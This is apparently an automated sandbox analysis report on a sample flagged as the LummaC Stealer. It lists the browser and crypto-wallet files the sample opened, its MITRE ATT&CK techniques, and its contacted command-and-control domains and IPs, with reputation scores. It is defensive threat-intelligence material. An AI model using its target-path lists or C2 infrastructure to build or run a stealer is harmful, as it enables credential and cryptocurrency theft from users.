Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe

Directory queried: number of queries: 1001

Source: Yara match

File source: Process Memory Space: Ag3ijL3z1w.exe PID: 7264, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Ag3ijL3z1w.exe PID: 7264, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	1 OS Credential Dumping	131 Security Software Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Deobfuscate/Decode Files or Information	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	31 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Ag3ijL3z1w.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
relevantvoicelesskw.shop	20%	Virustotal	Browse
colorfulequalugliess.shop	20%	Virustotal	Browse
wisemassiveharmonious.shop	10%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
edurestunningcrackyow.fun	100%	URL Reputation	malware
edurestunningcrackyow.fun	100%	URL Reputation	malware
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
pooreveningfuseor.pw	0%	URL Reputation	safe
pooreveningfuseor.pw	0%	URL Reputation	safe
https://support.microsoft.	0%	URL Reputation	safe
associationokeo.shop	0%	URL Reputation	safe
turkeyunlikelyofw.shop	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
detectordiscusser.shop	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://relevantvoicelesskw.shop/apiA	100%	Avira URL Cloud	phishing
https://relevantvoicelesskw.shop/~	100%	Avira URL Cloud	phishing
https://relevantvoicelesskw.shop/	100%	Avira URL Cloud	phishing
https://relevantvoicelesskw.shop/api~	100%	Avira URL Cloud	phishing
https://relevantvoicelesskw.shop/api6	100%	Avira URL Cloud	phishing
colorfulequalugliess.shop	100%	Avira URL Cloud	phishing
https://relevantvoicelesskw.shop/api0	100%	Avira URL Cloud	phishing
http://ocsp.rootca1.amazontrust.com0:	0%	Avira URL Cloud	safe
wisemassiveharmonious.shop	0%	Avira URL Cloud	safe
https://relevantvoicelesskw.shop/	18%	Virustotal		Browse
https://relevantvoicelesskw.shop/apiA	11%	Virustotal		Browse
colorfulequalugliess.shop	20%	Virustotal		Browse
https://relevantvoicelesskw.shop/b	100%	Avira URL Cloud	phishing
https://relevantvoicelesskw.shop/api0	11%	Virustotal		Browse
wisemassiveharmonious.shop	10%	Virustotal		Browse
https://relevantvoicelesskw.shop:443/apiBE2NhtLOoTLNNgOkw	100%	Avira URL Cloud	phishing
https://support.microsof	0%	Avira URL Cloud	safe
https://relevantvoicelesskw.shop/s	100%	Avira URL Cloud	phishing
https://relevantvoicelesskw.shop/api	100%	Avira URL Cloud	malware
relevantvoicelesskw.shop	100%	Avira URL Cloud	phishing
https://relevantvoicelesskw.shop/l	100%	Avira URL Cloud	phishing
https://relevantvoicelesskw.shop/api6	20%	Virustotal		Browse
https://relevantvoicelesskw.shop/api	22%	Virustotal		Browse
https://relevantvoicelesskw.shop/api~	3%	Virustotal		Browse
relevantvoicelesskw.shop	20%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
relevantvoicelesskw.shop	172.67.147.173	true	true	20%, Virustotal, Browse	unknown
wisemassiveharmonious.shop	unknown	unknown	true	10%, Virustotal, Browse	unknown
colorfulequalugliess.shop	unknown	unknown	true	20%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
edurestunningcrackyow.fun	true	URL Reputation: malware URL Reputation: malware	unknown
pooreveningfuseor.pw	true	URL Reputation: safe URL Reputation: safe	unknown
associationokeo.shop	true	URL Reputation: safe	unknown
colorfulequalugliess.shop	true	20%, Virustotal, Browse Avira URL Cloud: phishing	unknown
turkeyunlikelyofw.shop	true	URL Reputation: safe	unknown
detectordiscusser.shop	true	URL Reputation: safe	unknown
wisemassiveharmonious.shop	true	10%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://relevantvoicelesskw.shop/api	true	22%, Virustotal, Browse Avira URL Cloud: malware	unknown
relevantvoicelesskw.shop	true	20%, Virustotal, Browse Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	Ag3ijL3z1w.exe, 00000000.00000003.1705221839.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1712139420.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1712321938.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1705205037.0000000000B24000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	Ag3ijL3z1w.exe, 00000000.00000003.1713273468.00000000030B7000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713220364.00000000030B9000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713354464.00000000030B7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://relevantvoicelesskw.shop/apiA	Ag3ijL3z1w.exe, 00000000.00000002.1877392777.0000000003070000.00000004.00000800.00020000.00000000.sdmp	true	11%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://duckduckgo.com/ac/?q=	Ag3ijL3z1w.exe, 00000000.00000003.1713273468.00000000030B7000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713220364.00000000030B9000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713354464.00000000030B7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://relevantvoicelesskw.shop/api~	Ag3ijL3z1w.exe, 00000000.00000003.1764742560.000000000308C000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1765258902.000000000308D000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1764592696.0000000003089000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1765053909.000000000308D000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1741282403.000000000308D000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1746883165.000000000308E000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1739179315.000000000308D000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1741194692.000000000308D000.00000004.00000800.00020000.00000000.sdmp	true	3%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://relevantvoicelesskw.shop/~	Ag3ijL3z1w.exe, 00000000.00000002.1876372507.0000000000B27000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1872445317.0000000000B24000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://sectigo.com/CPS0	Ag3ijL3z1w.exe	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Ag3ijL3z1w.exe, 00000000.00000003.1713273468.00000000030B7000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713220364.00000000030B9000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713354464.00000000030B7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	Ag3ijL3z1w.exe	false	URL Reputation: safe	unknown
https://relevantvoicelesskw.shop/	Ag3ijL3z1w.exe, 00000000.00000003.1872445317.0000000000B24000.00000004.00000020.00020000.00000000.sdmp	true	18%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://support.microsoft.	Ag3ijL3z1w.exe, 00000000.00000003.1713734255.00000000030A6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://relevantvoicelesskw.shop/api6	Ag3ijL3z1w.exe, 00000000.00000003.1771850830.0000000003089000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1765053909.0000000003089000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1764592696.0000000003089000.00000004.00000800.00020000.00000000.sdmp	false	20%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Ag3ijL3z1w.exe, 00000000.00000003.1713273468.00000000030B7000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713220364.00000000030B9000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713354464.00000000030B7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Ag3ijL3z1w.exe, 00000000.00000003.1729643090.00000000030A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://relevantvoicelesskw.shop/api0	Ag3ijL3z1w.exe, 00000000.00000003.1744935540.0000000003089000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1746473876.0000000003089000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1730645380.000000000308A000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1739179315.0000000003089000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1742531080.0000000003089000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1728879216.000000000308A000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1741194692.0000000003089000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1741869098.0000000003089000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1729089345.000000000308A000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1743172054.0000000003089000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1744190634.0000000003089000.00000004.00000800.00020000.00000000.sdmp	false	11%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Ag3ijL3z1w.exe, 00000000.00000003.1713273468.00000000030B7000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713220364.00000000030B9000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713354464.00000000030B7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	Ag3ijL3z1w.exe, 00000000.00000003.1729643090.00000000030A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Ag3ijL3z1w.exe, 00000000.00000003.1712662411.00000000030C5000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1712600543.00000000030CC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Ag3ijL3z1w.exe, 00000000.00000003.1712662411.00000000030C5000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1712600543.00000000030CC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Ag3ijL3z1w.exe, 00000000.00000003.1713273468.00000000030B7000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713220364.00000000030B9000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713354464.00000000030B7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Ag3ijL3z1w.exe, 00000000.00000003.1730708871.0000000003192000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/5xx-error-landing	Ag3ijL3z1w.exe, 00000000.00000003.1705221839.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1712139420.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1712321938.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1705205037.0000000000B24000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	Ag3ijL3z1w.exe, 00000000.00000003.1713273468.00000000030B7000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713220364.00000000030B9000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713354464.00000000030B7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://relevantvoicelesskw.shop/b	Ag3ijL3z1w.exe, 00000000.00000003.1705274256.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1712139420.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://relevantvoicelesskw.shop:443/apiBE2NhtLOoTLNNgOkw	Ag3ijL3z1w.exe, 00000000.00000003.1720366524.000000000308C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	Ag3ijL3z1w.exe	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	Ag3ijL3z1w.exe, 00000000.00000003.1729643090.00000000030A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	Ag3ijL3z1w.exe, 00000000.00000003.1729643090.00000000030A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	Ag3ijL3z1w.exe	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	Ag3ijL3z1w.exe, 00000000.00000003.1712662411.00000000030A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Ag3ijL3z1w.exe, 00000000.00000003.1713273468.00000000030B7000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713220364.00000000030B9000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713354464.00000000030B7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	Ag3ijL3z1w.exe, 00000000.00000003.1712600543.00000000030CE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Ag3ijL3z1w.exe, 00000000.00000003.1729643090.00000000030A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://relevantvoicelesskw.shop/s	Ag3ijL3z1w.exe, 00000000.00000003.1872803431.0000000000B2C000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000002.1876372507.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1872445317.0000000000B24000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	Ag3ijL3z1w.exe, 00000000.00000003.1712662411.00000000030A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	Ag3ijL3z1w.exe, 00000000.00000003.1730708871.0000000003192000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Ag3ijL3z1w.exe, 00000000.00000003.1713273468.00000000030B7000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713220364.00000000030B9000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713354464.00000000030B7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://relevantvoicelesskw.shop/l	Ag3ijL3z1w.exe, 00000000.00000003.1872445317.0000000000B24000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.147.173	relevantvoicelesskw.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1414024
Start date and time:	2024-03-22 13:53:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Ag3ijL3z1w.exe renamed because original name is a hash value
Original Sample Name:	038f01c7ab34d20394b657ce5d5f3152.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@3/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 38 Number of non-executed functions: 65
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:54:00	API Interceptor	10x Sleep call for process: Ag3ijL3z1w.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.147.173	rbx59IIp4z.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, PureLog Stealer, Stealc, Vidar	Browse
	GbaYbwPheC.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse
	jl4cNPbc3h.exe	Get hash	malicious	LummaC, Amadey, Glupteba, Mars Stealer, PureLog Stealer, RHADAMANTHYS, RedLine	Browse
	t2eB51kWI7.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse
	6BxakoD7u9.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse
	file.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
relevantvoicelesskw.shop	rbx59IIp4z.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, PureLog Stealer, Stealc, Vidar	Browse	172.67.147.173
	GbaYbwPheC.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	172.67.147.173
	J1TU3MScot.exe	Get hash	malicious	LummaC	Browse	104.21.33.178
	file.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	104.21.33.178
	t2eB51kWI7.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	172.67.147.173
	ld7ipzWnHE.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	104.21.33.178
	mznD2GhjLH.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	104.21.33.178
	file.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	172.67.147.173
	file.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	172.67.147.173

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://tinyurl.com/3mm2m9fu#un/8133_md/2001/593/4859/44/77695	Get hash	malicious	Phisher	Browse	104.17.25.14
	https://www.google.com/url?sa=t&source=web&rct=j&opi=89978449&url=https://pdf-xchange.eu/pdf-xchange-editor/&ved=2ahUKEwjeluHE8IeFAxXwhP0HHZthB4kQFnoECB0QAQ&usg=AOvVaw3CrO7CYPxuh3IOTd6u5sYw	Get hash	malicious	Unknown	Browse	104.21.76.46
	Mackietransportation_sharepoint_online_.rtf	Get hash	malicious	HTMLPhisher	Browse	172.67.209.199
	COACH MARCH ORDER +COACH JUNE, JULY, AUGUST ORDER .xlsx.exe	Get hash	malicious	GuLoader	Browse	104.26.13.205
	COACH MARCH ORDER +COACH JUNE, JULY, AUGUST ORDER .xlsx.exe	Get hash	malicious	GuLoader	Browse	104.26.12.205
	SDTP098766700000.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	https://programchameleon.com.au/wp-content/plugins/es/?cid=mpilar.garrido@juntadeandalucia.es	Get hash	malicious	Unknown	Browse	1.1.1.1
	SecuriteInfo.com.PUA.Tool.Proxy.2579.7454.1991.exe	Get hash	malicious	Unknown	Browse	104.20.23.46
	auqccqDIm2kTyWK.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Letter-Receipt.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.0xcd8ef5489960.0xcd8ef514f5d0.DataSectionObject.Payment.xls.xls	Get hash	malicious	Hidden Macro 4.0	Browse	172.67.147.173
